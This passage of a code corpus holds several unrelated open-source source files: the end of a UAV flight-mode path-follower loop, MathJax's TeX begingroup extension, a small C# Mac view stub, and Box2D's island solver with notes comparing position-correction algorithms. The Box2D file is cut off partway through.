when flight mode toggles, to immediately update the path\n\t\tUAVObjEvent ev;\n\t\tPIOS_Queue_Receive(queue, &ev, guidanceSettings.UpdatePeriod);\n\t\t\n\t\tstatic uint8_t last_flight_mode;\n\t\tFlightStatusGet(&flightStatus);\n\n\t\tstatic bool fsm_running = false;\n\n\t\tif (flightStatus.FlightMode != last_flight_mode) {\n\t\t\t// The mode has changed\n\n\t\t\tlast_flight_mode = flightStatus.FlightMode;\n\n\t\t\tswitch(flightStatus.FlightMode) {\n\t\t\tcase FLIGHTSTATUS_FLIGHTMODE_RETURNTOHOME:\n\t\t\t\tvtol_follower_fsm_activate_goal(GOAL_LAND_HOME);\n\t\t\t\tfsm_running = true;\n\t\t\t\tbreak;\n\t\t\tcase FLIGHTSTATUS_FLIGHTMODE_POSITIONHOLD:\n\t\t\t\tvtol_follower_fsm_activate_goal(GOAL_HOLD_POSITION);\n\t\t\t\tfsm_running = true;\n\t\t\t\tbreak;\n\t\t\tcase FLIGHTSTATUS_FLIGHTMODE_PATHPLANNER:\n\t\t\tcase FLIGHTSTATUS_FLIGHTMODE_TABLETCONTROL:\n\t\t\t\t// TODO: currently when in this mode the follower just\n\t\t\t\t// attempts to fly the path segments blindly which means\n\t\t\t\t// the FSM cannot be utilized in a meaningful way. It might\n\t\t\t\t// be better when flying in path planner mode for the path\n\t\t\t\t// planner to specify the goals in PathDesired so things like\n\t\t\t\t// RTH can be used. However, for now this isn't critical.\n\t\t\t\tvtol_follower_fsm_activate_goal(GOAL_FLY_PATH);\n\t\t\t\tfsm_running = true;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tvtol_follower_fsm_activate_goal(GOAL_LAND_NONE);\n\t\t\t\tfsm_running = false;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (fsm_running) {\n\t\t\tvtol_follower_fsm_update();\n\t\t} else {\n\t\t\tfor (uint32_t i = 0; i < VTOL_PID_NUM; i++)\n\t\t\t\tpid_zero(&vtol_pids[i]);\n\t\t\n\t\t\t// Track throttle before engaging this mode. Cheap system ident\n\t\t\tStabilizationDesiredThrottleGet(&vtol_pids[DOWN_VELOCITY].iAccumulator);\n\t\t\t// Note the negative sign because this is the accumulation for down.\n\t\t\tvtol_pids[DOWN_VELOCITY].iAccumulator *= -1;\n\t\t}\n\n\t\tAlarmsClear(SYSTEMALARMS_ALARM_PATHFOLLOWER);\n\n\t}\n}\n\n/**\n * @}\n * @}\n */\n\n"} +{"text": "/* -*- Mode: Javascript; indent-tabs-mode:nil; js-indent-level: 2 -*- */\n/* vim: set ts=2 et sw=2 tw=80: */\n\n/*************************************************************\n *\n * MathJax/extensions/TeX/begingroup.js\n * \n * Implements \\begingroup and \\endgroup commands that make local \n * definitions possible and are removed when the \\endgroup occurs. \n *\n * ---------------------------------------------------------------------\n * \n * Copyright (c) 2011-2017 The MathJax Consortium\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nMathJax.Extension[\"TeX/begingroup\"] = {\n version: \"2.7.2\"\n};\n\nMathJax.Hub.Register.StartupHook(\"TeX Jax Ready\",function () {\n\n var TEX = MathJax.InputJax.TeX,\n TEXDEF = TEX.Definitions;\n\n /****************************************************/\n\n //\n // A namespace for localizing macros and environments\n // (\\begingroup and \\endgroup create and destroy these)\n //\n var NSFRAME = MathJax.Object.Subclass({\n macros: null, // the local macro definitions\n environments: null, // the local environments\n Init: function (macros,environments) {\n this.macros = (macros || {});\n this.environments = (environments || {});\n },\n //\n // Find a macro or environment by name\n //\n Find: function (name,type) {if (this[type][name]) {return this[type][name]}},\n //\n // Define or remove a macro or environment\n //\n Def: function (name,value,type) {this[type][name] = value},\n Undef: function (name,type) {delete this[type][name]},\n //\n // Merge two namespaces (used when the equation namespace is combined with the root one)\n //\n Merge: function (frame) {\n MathJax.Hub.Insert(this.macros,frame.macros);\n MathJax.Hub.Insert(this.environments,frame.environments);\n },\n //\n // Move global macros to the stack (globally) and remove from the frame\n //\n MergeGlobals: function (stack) {\n var macros = this.macros;\n for (var cs in macros) {if (macros.hasOwnProperty(cs) && macros[cs].global) {\n stack.Def(cs,macros[cs],\"macros\",true);\n delete macros[cs].global; delete macros[cs];\n }}\n },\n //\n // Clear the macro and environment lists\n // (but not global macros unless \"all\" is true)\n //\n Clear: function (all) {\n this.environments = {};\n if (all) {this.macros = {}} else {\n var macros = this.macros;\n for (var cs in macros) {\n if (macros.hasOwnProperty(cs) && !macros[cs].global) {delete macros[cs]}\n }\n }\n return this;\n }\n });\n\n /****************************************************/\n\n //\n // A Stack of namespace frames\n //\n var NSSTACK = TEX.nsStack = MathJax.Object.Subclass({\n stack: null, // the namespace frames\n top: 0, // the current top one (we don't pop for real until the equation completes)\n isEqn: false, // true if this is the equation stack (not the global one)\n //\n // Set up the initial stack frame\n //\n Init: function (eqn) {\n this.isEqn = eqn; this.stack = [];\n if (!eqn) {this.Push(NSFRAME(TEXDEF.macros,TEXDEF.environment))}\n else {this.Push(NSFRAME())}\n },\n //\n // Define a macro or environment in the top frame\n //\n Def: function (name,value,type,global) {\n var n = this.top-1;\n if (global) {\n //\n // Define global macros in the base frame and remove that cs\n // from all other frames. Mark the global ones in equations\n // so they can be made global when merged with the root stack.\n //\n while (n > 0) {this.stack[n].Undef(name,type); n--}\n if (!MathJax.Object.isArray(value)) {value = [value]}\n if (this.isEqn) {value.global = true}\n }\n this.stack[n].Def(name,value,type);\n },\n //\n // Push a new namespace frame on the stack\n //\n Push: function (frame) {\n this.stack.push(frame);\n this.top = this.stack.length;\n },\n //\n // Pop the top stack frame\n // (if it is the root, just keep track of the pop so we can\n // reset it if the equation is reprocessed)\n //\n Pop: function () {\n var top;\n if (this.top > 1) {\n top = this.stack[--this.top];\n if (this.isEqn) {this.stack.pop()}\n } else if (this.isEqn) {\n this.Clear();\n }\n return top;\n },\n //\n // Search the stack from top to bottom for the first\n // definition of the given control sequence in the given type\n //\n Find: function (name,type) {\n for (var i = this.top-1; i >= 0; i--) {\n var def = this.stack[i].Find(name,type);\n if (def) {return def}\n }\n return null;\n },\n //\n // Combine the equation stack with the global one\n // (The bottom frame of the equation goes with the top frame of the global one,\n // and the remainder are pushed on the global stack, truncated to the\n // position where items were poped from it.)\n //\n Merge: function (stack) {\n stack.stack[0].MergeGlobals(this);\n this.stack[this.top-1].Merge(stack.stack[0]);\n var data = [this.top,this.stack.length-this.top].concat(stack.stack.slice(1));\n this.stack.splice.apply(this.stack,data);\n this.top = this.stack.length;\n },\n //\n // Put back the temporarily poped items\n //\n Reset: function () {this.top = this.stack.length},\n //\n // Clear the stack and start with a blank frame\n //\n Clear: function (all) {\n this.stack = [this.stack[0].Clear()];\n this.top = this.stack.length;\n }\n },{\n nsFrame: NSFRAME\n });\n\n /****************************************************/\n\n //\n // Define the new macros\n //\n TEXDEF.Add({\n macros: {\n begingroup: \"BeginGroup\",\n endgroup: \"EndGroup\",\n global: [\"Extension\",\"newcommand\"],\n gdef: [\"Extension\",\"newcommand\"]\n }\n },null,true);\n \n TEX.Parse.Augment({\n //\n // Implement \\begingroup\n //\n BeginGroup: function (name) {\n TEX.eqnStack.Push(NSFRAME());\n },\n //\n // Implements \\endgroup\n //\n EndGroup: function (name) {\n //\n // If the equation has pushed frames, pop one,\n // Otherwise clear the equation stack and pop the top global one\n //\n if (TEX.eqnStack.top > 1) {\n TEX.eqnStack.Pop();\n } else if (TEX.rootStack.top === 1) {\n TEX.Error([\"ExtraEndMissingBegin\",\"Extra %1 or missing \\\\begingroup\",name]);\n } else {\n TEX.eqnStack.Clear();\n TEX.rootStack.Pop();\n }\n },\n\n //\n // Replace the original routines with ones that looks through the\n // equation and root stacks for the given name\n // \n csFindMacro: function (name) {\n return (TEX.eqnStack.Find(name,\"macros\") || TEX.rootStack.Find(name,\"macros\"));\n },\n envFindName: function (name) {\n return (TEX.eqnStack.Find(name,\"environments\") || TEX.rootStack.Find(name,\"environments\"));\n }\n\n });\n\n /****************************************************/\n\n TEX.rootStack = NSSTACK(); // the global namespace stack\n TEX.eqnStack = NSSTACK(true); // the equation stack\n\n //\n // Reset the global stack and clear the equation stack\n // (this gets us back to the initial stack state as it was\n // before the equation was first processed, in case the equation\n // get restarted due to an autoloaded file)\n //\n TEX.prefilterHooks.Add(function () {TEX.rootStack.Reset(); TEX.eqnStack.Clear(true)});\n \n //\n // We only get here if there were no errors and the equation is fully\n // processed (all restarts are complete). So we merge the equation\n // stack into the global stack, thus making the changes from this\n // equation permanent.\n //\n TEX.postfilterHooks.Add(function () {TEX.rootStack.Merge(TEX.eqnStack)});\n \n /*********************************************************/\n\n MathJax.Hub.Register.StartupHook(\"TeX newcommand Ready\",function () {\n\n //\n // Add the commands that depend on the newcommand code\n //\n TEXDEF.Add({\n macros: {\n global: \"Global\",\n gdef: [\"Macro\",\"\\\\global\\\\def\"]\n }\n },null,true);\n\n TEX.Parse.Augment({\n //\n // Modify the way macros and environments are defined\n // to make them go into the equation namespace stack\n //\n setDef: function (name,value) {\n value.isUser = true;\n TEX.eqnStack.Def(name,value,\"macros\",this.stack.env.isGlobal);\n delete this.stack.env.isGlobal;\n },\n setEnv: function (name,value) {\n value.isUser = true;\n TEX.eqnStack.Def(name,value,\"environments\")\n },\n\n //\n // Implement \\global (for \\global\\let, \\global\\def and \\global\\newcommand)\n //\n Global: function (name) {\n var i = this.i; var cs = this.GetCSname(name); this.i = i;\n if (cs !== \"let\" && cs !== \"def\" && cs !== \"newcommand\") {\n TEX.Error([\"GlobalNotFollowedBy\",\n \"%1 not followed by \\\\let, \\\\def, or \\\\newcommand\",name]);\n }\n this.stack.env.isGlobal = true;\n }\n\n });\n\n });\n\n MathJax.Hub.Startup.signal.Post(\"TeX begingroup Ready\");\n\n});\n\nMathJax.Ajax.loadComplete(\"[MathJax]/extensions/TeX/begingroup.js\");\n"} +{"text": "namespace TipCalc.UI.Mac\n{\n\n\t// Should subclass AppKit.NSView\n\t[Foundation.Register(\"TipView\")]\n\tpublic partial class TipView\n\t{\n\t}\n}\n"} +{"text": "/*\r\n* Copyright (c) 2006-2011 Erin Catto http://www.box2d.org\r\n*\r\n* This software is provided 'as-is', without any express or implied\r\n* warranty. In no event will the authors be held liable for any damages\r\n* arising from the use of this software.\r\n* Permission is granted to anyone to use this software for any purpose,\r\n* including commercial applications, and to alter it and redistribute it\r\n* freely, subject to the following restrictions:\r\n* 1. The origin of this software must not be misrepresented; you must not\r\n* claim that you wrote the original software. If you use this software\r\n* in a product, an acknowledgment in the product documentation would be\r\n* appreciated but is not required.\r\n* 2. Altered source versions must be plainly marked as such, and must not be\r\n* misrepresented as being the original software.\r\n* 3. This notice may not be removed or altered from any source distribution.\r\n*/\r\n\r\n#include \r\n#include \r\n#include \r\n#include \r\n#include \r\n#include \r\n#include \r\n#include \r\n#include \r\n#include \r\n\r\n/*\r\nPosition Correction Notes\r\n=========================\r\nI tried the several algorithms for position correction of the 2D revolute joint.\r\nI looked at these systems:\r\n- simple pendulum (1m diameter sphere on massless 5m stick) with initial angular velocity of 100 rad/s.\r\n- suspension bridge with 30 1m long planks of length 1m.\r\n- multi-link chain with 30 1m long links.\r\n\r\nHere are the algorithms:\r\n\r\nBaumgarte - A fraction of the position error is added to the velocity error. There is no\r\nseparate position solver.\r\n\r\nPseudo Velocities - After the velocity solver and position integration,\r\nthe position error, Jacobian, and effective mass are recomputed. Then\r\nthe velocity constraints are solved with pseudo velocities and a fraction\r\nof the position error is added to the pseudo velocity error. The pseudo\r\nvelocities are initialized to zero and there is no warm-starting. After\r\nthe position solver, the pseudo velocities are added to the positions.\r\nThis is also called the First Order World method or the Position LCP method.\r\n\r\nModified Nonlinear Gauss-Seidel (NGS) - Like Pseudo Velocities except the\r\nposition error is re-computed for each constraint and the positions are updated\r\nafter the constraint is solved. The radius vectors (aka Jacobians) are\r\nre-computed too (otherwise the algorithm has horrible instability). The pseudo\r\nvelocity states are not needed because they are effectively zero at the beginning\r\nof each iteration. Since we have the current position error, we allow the\r\niterations to terminate early if the error becomes smaller than b2_linearSlop.\r\n\r\nFull NGS or just NGS - Like Modified NGS except the effective mass are re-computed\r\neach time a constraint is solved.\r\n\r\nHere are the results:\r\nBaumgarte - this is the cheapest algorithm but it has some stability problems,\r\nespecially with the bridge. The chain links separate easily close to the root\r\nand they jitter as they struggle to pull together. This is one of the most common\r\nmethods in the field. The big drawback is that the position correction artificially\r\naffects the momentum, thus leading to instabilities and false bounce. I used a\r\nbias factor of 0.2. A larger bias factor makes the bridge less stable, a smaller\r\nfactor makes joints and contacts more spongy.\r\n\r\nPseudo Velocities - the is more stable than the Baumgarte method. The bridge is\r\nstable. However, joints still separate with large angular velocities. Drag the\r\nsimple pendulum in a circle quickly and the joint will separate. The chain separates\r\neasily and does not recover. I used a bias factor of 0.2. A larger value lead to\r\nthe bridge collapsing when a heavy cube drops on it.\r\n\r\nModified NGS - this algorithm is better in some ways than Baumgarte and Pseudo\r\nVelocities, but in other ways it is worse. The bridge and chain are much more\r\nstable, but the simple pendulum goes unstable at high angular velocities.\r\n\r\nFull NGS - stable in all tests. The joints display good stiffness. The bridge\r\nstill sags, but this is better than infinite forces.\r\n\r\nRecommendations\r\nPseudo Velocities are not really worthwhile because the bridge and chain cannot\r\nrecover from joint separation. In other cases the benefit over Baumgarte is small.\r\n\r\nModified NGS is not a robust method for the revolute joint due to the violent\r\ninstability seen in the simple pendulum. Perhaps it is viable with other constraint\r\ntypes, especially scalar constraints where the effective mass is a scalar.\r\n\r\nThis leaves Baumgarte and Full NGS. Baumgarte has small, but manageable instabilities\r\nand is very fast. I don't think we can escape Baumgarte, especially in highly\r\ndemanding cases where high constraint fidelity is not needed.\r\n\r\nFull NGS is robust and easy on the eyes. I recommend this as an option for\r\nhigher fidelity simulation and certainly for suspension bridges and long chains.\r\nFull NGS might be a good choice for ragdolls, especially motorized ragdolls where\r\njoint separation can be problematic. The number of NGS iterations can be reduced\r\nfor better performance without harming robustness much.\r\n\r\nEach joint in a can be handled differently in the position solver. So I recommend\r\na system where the user can select the algorithm on a per joint basis. I would\r\nprobably default to the slower Full NGS and let the user select the faster\r\nBaumgarte method in performance critical scenarios.\r\n*/\r\n\r\n/*\r\nCache Performance\r\n\r\nThe Box2D solvers are dominated by cache misses. Data structures are designed\r\nto increase the number of cache hits. Much of misses are due to random access\r\nto body data. The constraint structures are iterated over linearly, which leads\r\nto few cache misses.\r\n\r\nThe bodies are not accessed during iteration. Instead read only data, such as\r\nthe mass values are stored with the constraints. The mutable data are the constraint\r\nimpulses and the bodies velocities/positions. The impulses are held inside the\r\nconstraint structures. The body velocities/positions are held in compact, temporary\r\narrays to increase the number of cache hits. Linear and angular velocity are\r\nstored in a single array since multiple arrays lead to multiple misses.\r\n*/\r\n\r\n/*\r\n2D Rotation\r\n\r\nR = [cos(theta) -sin(theta)]\r\n [sin(theta) cos(theta) ]\r\n\r\nthetaDot = omega\r\n\r\nLet q1 = cos(theta), q2 = sin(theta).\r\nR = [q1 -q2]\r\n [q2 q1]\r\n\r\nq1Dot = -thetaDot * q2\r\nq2Dot = thetaDot * q1\r\n\r\nq1_new = q1_old - dt * w * q2\r\nq2_new = q2_old + dt * w * q1\r\nthen normalize.\r\n\r\nThis might be faster than computing sin+cos.\r\nHowever, we can compute sin+cos of the same angle fast.\r\n*/\r\n\r\nb2Island::b2Island(\r\n\tint32 bodyCapacity,\r\n\tint32 contactCapacity,\r\n\tint32 jointCapacity,\r\n\tb2StackAllocator* allocator,\r\n\tb2ContactListener* listener)\r\n{\r\n\tm_bodyCapacity = bodyCapacity;\r\n\tm_contactCapacity = contactCapacity;\r\n\tm_jointCapacity\t = jointCapacity;\r\n\tm_bodyCount = 0;\r\n\tm_contactCount = 0;\r\n\tm_jointCount = 0;\r\n\r\n\tm_allocator = allocator;\r\n\tm_listener = listener;\r\n\r\n\tm_bodies = (b2Body**)m_allocator->Allocate(bodyCapacity * sizeof(b2Body*));\r\n\tm_contacts = (b2Contact**)m_allocator->Allocate(contactCapacity\t * sizeof(b2Contact*));\r\n\tm_joints = (b2Joint**)m_allocator->Allocate(jointCapacity * sizeof(b2Joint*));\r\n\r\n\tm_velocities = (b2Velocity*)m_allocator->Allocate(m_bodyCapacity * sizeof(b2Velocity));\r\n\tm_positions = (b2Position*)m_allocator->Allocate(m_bodyCapacity * sizeof(b2Position));\r\n}\r\n\r\nb2Island::~b2Island()\r\n{\r\n\t// Warning: the order should reverse the constructor order.\r\n\tm_allocator->Free(m_positions);\r\n\tm_allocator->Free(m_velocities);\r\n\tm_allocator->Free(m_joints);\r\n\tm_allocator->Free(m_contacts);\r\n\tm_allocator->Free(m_bodies);\r\n}\r\n\r\nvoid b2Island::Solve(b2Profile* profile, const b2TimeStep& step, const b2Vec2& gravity, bool allowSleep)\r\n{\r\n\tb2Timer timer;\r\n\r\n\tfloat32 h = step.dt;\r\n\r\n\t// Integrate velocities and apply damping. Initialize the body state.\r\n\tfor (int32 i = 0; i < m_bodyCount; ++i)\r\n\t{\r\n\t\tb2Body* b = m_bodies[i];\r\n\r\n\t\tb2Vec2 c = b->m_sweep.c;\r\n\t\tfloat32 a = b->m_sweep.a;\r\n\t\tb2Vec2 v = b->m_linearVelocity;\r\n\t\tfloat32 w = b->m_angularVelocity;\r\n\r\n\t\t// Store positions for continuous collision.\r\n\t\tb->m_sweep.c0 = b->m_sweep.c;\r\n\t\tb->m_sweep.a0 = b->m_sweep.a;\r\n\r\n\t\tif (b->m_type == b2_dynamicBody)\r\n\t\t{\r\n\t\t\t// Integrate velocities.\r\n\t\t\tv += h * (b->m_gravityScale * gravity + b->m_invMass * b->m_force);\r\n\t\t\tw += h * b->m_invI * b->m_torque;\r\n\r\n\t\t\t// Apply damping.\r\n\t\t\t// ODE: dv/dt + c * v = 0\r\n\t\t\t// Solution: v(t) = v0 * exp(-c * t)\r\n\t\t\t// Time step: v(t + dt) = v0 * exp(-c * (t + dt)) = v0 * exp(-c * t) * exp(-c * dt) = v * exp(-c * dt)\r\n\t\t\t// v2 = exp(-c * dt) * v1\r\n\t\t\t// Taylor expansion:\r\n\t\t\t// v2 = (1.0f - c * dt) * v1\r\n\t\t\tv *= b2Clamp(1.0f - h * b->m_linearDamping, 0.0f, 1.0f);\r\n\t\t\tw *= b2Clamp(1.0f - h * b->m_angularDamping, 0.0f, 1.0f);\r\n\t\t}\r\n\r\n\t\tm_positions[i].c = c;\r\n\t\tm_positions[i].a = a;\r\n\t\tm_velocities[i].v = v;\r\n\t\tm_velocities[i].w = w;\r\n\t}\r\n\r\n\ttimer.Reset();\r\n\r\n\t// Solver data\r\n\tb2SolverData solverData;\r\n\tsolverData.step = step;\r\n\tsolverData.positions = m_positions;\r\n\tsolverData.velocities = m_velocities;\r\n\r\n\t// Initialize velocity constraints.\r\n\tb2ContactSolverDef contactSolverDef;\r\n\tcontactSolverDef.step = step;\r\n\tcontactSolverDef.contacts = m_contacts;\r\n\tcontactSolverDef.count = m_contactCount;\r\n\tcontactSolverDef.positions = m_positions;\r\n\tcontactSolverDef.velocities = m_velocities;\r\n\tcontactSolverDef.allocator = m_allocator;\r\n\r\n\tb2ContactSolver contactSolver(&contactSolverDef);\r\n\tcontactSolver.InitializeVelocityConstraints();\r\n\r\n\tif (step.warmStarting)\r\n\t{\r\n\t\tcontactSolver.WarmStart();\r\n\t}\r\n\t\r\n\tfor (int32 i = 0; i < m_jointCount; ++i)\r\n\t{\r\n\t\tm_joints[i]->InitVelocityConstraints(solverData);\r\n\t}\r\n\r\n\tprofile->solveInit = timer.GetMilliseconds();\r\n\r\n\t// Solve velocity constraints\r\n\ttimer.Reset();\r\n\tfor (int32 i = 0; i < step.velocityIterations; ++i)\r\n\t{\r\n\t\tfor (int32 j = 0; j < m_jointCount; ++j)\r\n\t\t{\r\n\t\t\tm_joints[j]->SolveVelocityConstraints(solverData);\r\n\t\t}\r\n\r\n\t\tcontactSolver.SolveVelocityConstraints();\r\n\t}\r\n\r\n\t// Store impulses for warm starting\r\n\tcontactSolver.StoreImpulses();\r\n\tprofile->solveVelocity = timer.GetMilliseconds();\r\n\r\n\t// Integrate positions\r\n\tfor (int32 i = 0; i < m_bodyCount; ++i)\r\n\t{\r\n\t\tb2Vec2 c = m_positions[i].c;\r\n\t\tfloat32 a = m_positions[i].a;\r\n\t\tb2Vec2 v = m_velocities[i].v;\r\n\t\tfloat32 w = m_velocities[i].w;\r\n\r\n\t\t// Check for large velocities\r\n\t\tb2Vec2 translation = h * v;\r\n\t\tif (b2Dot(translation, translation) > b2_maxTranslationSquared)\r\n\t\t{\r\n\t\t\tfloat32 ratio = b2_maxTranslation / translation.Length();\r\n\t\t\tv *= ratio;\r\n\t\t}\r\n\r\n\t\tfloat32 rotation = h * w;\r\n\t\tif (rotation * rotation > b2_maxRotationSquared)\r\n\t\t{\r\n\t\t\tfloat32 ratio = b2_maxRotation / b2Abs(rotation);\r\n\t\t\tw *= ratio;\r\n\t\t}\r\n\r\n\t\t// Integrate\r\n\t\tc += h * v;\r\n\t\ta += h * w;\r\n\r\n\t\tm_positions[i].c = c;\r\n\t\tm_positions[i].a = a;\r\n\t\tm_velocities[i].v = v;\r\n\t\tm_velocities[i].w = w;\r\n\t}\r\n\r\n\t// Solve position constraints\r\n\ttimer.Reset();\r\n\tfor (int32 i = 0; i < step.positionIterations; ++i)\r\n\t{\r\n\t\tbool contactsOkay = contactSolver.SolvePositionConstraints();\r\n\r\n\t\tbool jointsOkay = true;\r\n\t\tfor (int32 i = 0; i < m_jointCount; ++i)\r\n\t\t{\r\n\t\t\tbool jointOkay = m_joints[i]->SolvePositionConstraints(solverData);\r\n\t\t\tjointsOkay = jointsOkay && jointOkay;\r\n\t\t}\r\n\r\n\t\tif (contactsOkay && jointsOkay)\r\n\t\t{\r\n\t\t\t// Exit early if the position errors are small.\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\t// Copy state buffers back to the bodies\r\n\tfor (int32 i = 0; i < m_bodyCount; ++i)\r\n\t{\r\n\t\tb2Body* body = m_bodies[i];\r\n\t\tbody->m_sweep.c = m_positions[i].c;\r\n\t\tbody->m_sweep.a = m_positions[i].a;\r\n\t\tbody->m_linearVelocity = m_velocities[i].v;\r\n\t\tbody->m_angularVelocity = m_velocities[i].w;\r\n\t\tbody->SynchronizeTransform();\r\n\t}\r\n\r\n\tprofile->solvePosition = timer.GetMilliseconds();\r\n\r\n\tReport(contactSolver.m_velocityConstraints);\r\n\r\n\tif (allowSleep)\r\n\t{\r\n\t\tfloat32 minSleepTime = b2_maxFloat;\r\n\r\n\t\tconst float32 linTolSqr = b2_linearSleepTolerance * b2_linearSleepTolerance;\r\n\t\tconst float32 angTolSqr = b2_angularSleepTolerance * b2_angularSleepTolerance;\r\n\r\n\t\tfor (int32 i = 0; i < m_bodyCount; ++i)\r\n\t\t{\r\n\t\t\tb2Body* b = m_bodies[i];\r\n\t\t\tif (b->GetType() == b2_staticBody)\r\n\t\t\t{\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\r\n\t\t\tif ((b->m_flags & b2Body::e_autoSleepFlag) == 0)\r\n\t\t\t{\r\n\t\t\t\tb->m_sleepTime = 0.0f;\r\n\t\t\t\tminSleepTime = 0.0f;\r\n\t\t\t}\r\n\r\n\t\t\tif ((b->m_flags & b2Body::e_autoSleepFlag) == 0 ||\r\n\t\t\t\tb->m_angularVelocity * b->m_angularVelocity > angTolSqr ||\r\n\t\t\t\tb2Dot(b->m_linearVelocity, b->m_linearVelocity) > linTolSqr)\r\n\t\t\t{\r\n\t\t\t\tb->m_sleepTime = 0.0f;\r\n\t\t\t\tminSleepTime = 0.0f;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tb->m_sleepTime += h;\r\n\t\t\t\tminSleepTime = b2Min(minSleepTime, b->m_sleepTime);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (minSleepTime >= b2_timeToSleep)\r\n\t\t{\r\n\t\t\tfor (int32 i = 0; i < m_bodyCount; ++i)\r\n\t\t\t{\r\n\t\t\t\tb2Body* b = m_bodies[i];\r\n\t\t\t\tb->SetAwake(false);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid b2Island::SolveTOI(const b2TimeStep& subStep, int32 toiIndexA, int32 toiIndexB)\r\n{\r\n\tb2Assert(toiIndexA < m_bodyCount);\r\n\tb2Assert(toiIndexB < m_bodyCount);\r\n\r\n\t// Initialize the body state.\r\n\tfor (int32 i = 0; i < m_bodyCount; ++i)\r\n\t{\r\n\t\tb2Body* b = m_bodies[i];\r\n\t\tm_positions[i].c = b->m_sweep.c;\r\n\t\tm_positions[i].a = b->m_sweep.a;\r\n\t\tm_velocities[i].v = b->m_linearVelocity;\r\n\t\tm_velocities[i].w = b->m_angularVelocity;\r\n\t}\r\n\r\n\tb2ContactSolverDef contactSolverDef;\r\n\tcontactSolverDef.contacts = m_contacts;\r\n\tcontactSolverDef.count = m_contactCount;\r\n\tcontactSolverDef.allocator = m_allocator;\r\n\tcontactSolverDef.step = subStep;\r\n\tcontactSolverDef.positions = m_positions;\r\n\tcontactSolverDef.velocities = m_velocities;\r\n\tb2ContactSolver contactSolver(&contactSolverDef);\r\n\r\n\t// Solve position constraints.\r\n\tfor (int32 i = 0; i < subStep.positionIterations; ++i)\r\n\t{\r\n\t\tbool contactsOkay = contactSolver.SolveTOIPositionConstraints(toiIndexA, toiIndexB);\r\n\t\tif (contactsOkay)\r\n\t\t{\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n#if 0\r\n\t// Is the new position really safe?\r\n\tfor (int32 i = 0; i < m_contactCount; ++i)\r\n\t{\r\n\t\tb2Contact* c = m_contacts[i];\r\n\t\tb2Fixture* fA = c->GetFixtureA();\r\n\t\tb2Fixture* fB = c->GetFixtureB();\r\n\r\n\t\tb2Body* bA = fA->GetBody();\r\n\t\tb2Body* bB = fB->GetBody();\r\n\r\n\t\tint32 indexA = c->GetChildIndexA();\r\n\t\tint32 indexB = c->GetChildIndexB();\r\n\r\n\t\tb2DistanceInput input;\r\n\t\tinput.proxyA.Set(fA->GetShape(), indexA);\r\n\t\tinput.proxyB.Set(fB->GetShape(), indexB);\r\n\t\tinput.transformA = bA->GetTransform();\r\n\t\tinput.transformB = bB->GetTransform();\r\n\t\tinput.useRadii = false;\r\n\r\n\t\tb2DistanceOutput output;\r\n\t\tb2SimplexCache cache;\r\n\t\tcache.count = 0;\r\n\t\tb2Distance(&output, &cache, &input);\r\n\r\n\t\tif (output.distance == 0 || cache.count == 3)\r\n\t\t{\r\n\t\t\tcache.count += 0;\r\n\t\t}\r\n\t}\r\n#endif\r\n\r\n\t// Leap of faith to new safe state.\r\n\tm_bodies[toiIndexA]->m_sweep.c0 = m_positions[toiIndexA].c;\r\n\tm_bodies[toiIndexA]->m_sweep.a0 = m_positions[toiIndexA].a;\r\n\tm_bodies[toiIndexB]->m_sweep.c0 = m_positions[toiIndexB].c;\r\n\tm_bodies[toiIndexB]->m_sweep.a0 = m_positions[toiIndexB].a;\r\n\r\n\t// No warm starting is needed for TOI events because warm\r\n\t// starting impulses were applied in the discrete solver.\r\n\tcontactSolver.InitializeVelocityConstraints();\r\n\r\n\t// Solve velocity constraints.\r\n\tfor (int32 i = 0; i < subStep.velocityIterations; ++i)\r\n\t{\r\n\t\tcontactSolver.SolveVelocityConstraints();\r\n\t}\r\n\r\n\t// Don't store the TOI contact forces for warm starting\r\n\t// because they can be quite large.\r\n\r\n\tfloat32 h = subStep.dt;\r\n\r\n\t// Integrate positions\r\n\tfor (int32 i = 0; i < m_bodyCount; ++i)\r\n\t{\r\n\t\tb2Vec2 c = m_positions[i].c;\r\n\t\tfloat32 a = m_positions[i].a;\r\n\t\tb2Vec2 v = m_velocities[i].v;\r\n\t\tfloat32 w = m_velocities[i].w;\r\n\r\n\t\t// Check for large velocities\r\n\t\tb2Vec2 translation = h * v;\r\n\t\tif (b2Dot(translation, translation) > b2_maxTranslationSquared)\r\n\t\t{\r\n\t\t\tfloat32 ratio = b2_maxTranslation / translation.Length();\r\n\t\t\tv *= ratio;\r\n\t\t}\r\n\r\n\t\tfloat32 rotation = h * w;\r\n\t\tif (rotation * rotation > b2_maxRotationSquared)\r\n\t\t{\r\n\t\t\tfloat32 ratio = b2_maxRotation / b2Abs(rotation);\r\n\t\t\tw *= ratio;\r\n\t\t}\r\n\r\n\t\t// Integrate\r\n\t\tc += h * v;\r\n\t\ta += h * w;\r\n\r\n\t\tm_positions[i].c = c;\r\n\t\tm_positions[i].a = a;\r\n\t\tm_velocities[i].v = v;\r\n\t\tm_velocities[i].w = w;\r\n\r\n\t\t// Sync bodies\r\n\t\tb2Body* body = m_bodies[i];\r\n\t\tbody->m_sweep.c = c;\r\n\t\tbody->m_sweep.a = a;\r\n\t\tbody->m_linearVelocity = v;\r\n\t\tbody->m_angularVelocity = w;\r\n\t\tbody->SynchronizeTransform();\r\n\t}\r\n\r\n\tReport(contactSolver.m_velocityConstraints);\r\n}\r\n\r\nvoid b2Island::Report(const b2ContactVelocityConstraint* constraints)\r\n{\r\n\tif (m_listener == NULL)\r\n\t{\r\n\t\treturn;\r\n\t}\r\n\r\n\tfor (int32 i = 0; i < m_contactCount; ++i)\r\n\t{\r\n\t\tb2Contact* c = 